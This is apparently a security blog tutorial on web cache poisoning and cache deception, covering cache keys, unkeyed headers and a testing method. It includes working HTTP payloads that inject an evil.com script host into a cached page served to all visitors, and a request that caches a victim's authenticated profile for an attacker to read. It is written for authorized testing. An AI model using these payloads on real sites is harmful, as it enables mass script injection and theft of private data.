cd ../blog

Web Cache Poisoning: Turning a Cache Into a Weapon

Unkeyed inputs let an attacker store a malicious response in a shared cache and serve it to every visitor. We cover cache keys, unkeyed headers, and deception.

Web cache poisoning weaponizes a performance feature: a cache stores a response under a cache key and serves it to everyone who produces the same key, so if an unkeyed input changes the response, one malicious request gets cached and served to every later visitor. This is how to find unkeyed inputs and prove a site-wide poison.

Finding it

The cache key is usually method + host + path (sometimes a few headers); everything else is "unkeyed." You are hunting for an unkeyed input that the application reflects into the response.

Methodology, the Kettle approach:

  1. Find a cacheable response (look for X-Cache: hit/miss, Age, CF-Cache-Status, or a Cache-Control that permits storage).
  2. Add a cache-buster (?cb=12345) so you never poison the real key while testing.
  3. Inject candidate unkeyed headers one at a time and watch for reflection into the body or a redirect.

Param Miner (Burp extension) brute-forces unkeyed header and parameter names automatically and flags reflections. You can also confirm the keying behavior by hand — request the same path twice with and without a candidate header and compare the Age/X-Cache headers to see whether the cache treats them as one entry:

curl -s -D- -o /dev/null https://www.example.com/home?cb=1 \
  -H 'X-Forwarded-Host: probe.example' | grep -iE 'x-cache|age'

The classic candidates:

  • X-Forwarded-Host / X-Host reflected into an absolute URL (script src, canonical link, redirect).
  • X-Forwarded-Scheme / X-Forwarded-Proto triggering a cached redirect.
  • X-Forwarded-For reflected into the page.
  • Custom debug headers that toggle content.

Proof of concept

Suppose X-Forwarded-Host is reflected into a script tag and is not in the cache key. First confirm reflection with a buster so you do not poison real users:

GET /home?cb=8421 HTTP/1.1
Host: www.example.com
X-Forwarded-Host: evil.com

Check the response body for your injected host:

<script src="https://evil.com/main.js"></script>

That confirms the input reflects. Now prove it caches by repeating the request without the header and seeing whether the poisoned body is served — or, on the real key, by removing the buster:

GET /home HTTP/1.1
Host: www.example.com
X-Forwarded-Host: evil.com

Immediately request /home as a normal user (no special headers). If the response still contains https://evil.com/main.js and the headers show X-Cache: hit, every visitor is now loading attacker-controlled script. That cached cross-user response is the finding:

// What every subsequent visitor unknowingly executes
<script src="https://evil.com/main.js"></script>

A cache-key-deception variant exploits normalization gaps: if the cache treats /home and /home? (or with a trailing #) as the same key but the origin treats them differently, you can poison the "clean" key through a slightly different request. Probe pairs like /home vs /home%23 and watch which one the cache collapses.

Going further

The inverse technique, cache deception, is worth chaining: trick the cache into storing a victim's private, authenticated response under a URL you can later fetch. Append a path suffix the cache treats as a static asset:

GET /api/account/profile.css HTTP/1.1
Host: www.example.com
Cookie: session=<VICTIM_SESSION>

If the origin ignores the suffix and returns the profile while the cache stores it as a cacheable .css, you then fetch /api/account/profile.css with no cookies and read the victim's data.

The strongest report shows a request from a clean client receiving the response your earlier request poisoned — proving cross-user impact, not just reflection. Capture the injecting request, the unkeyed header, the X-Cache: hit on a victim-shaped request, and the reflected payload. Keep TTL-affecting experiments and any real-key poisoning to assets you are authorized to test.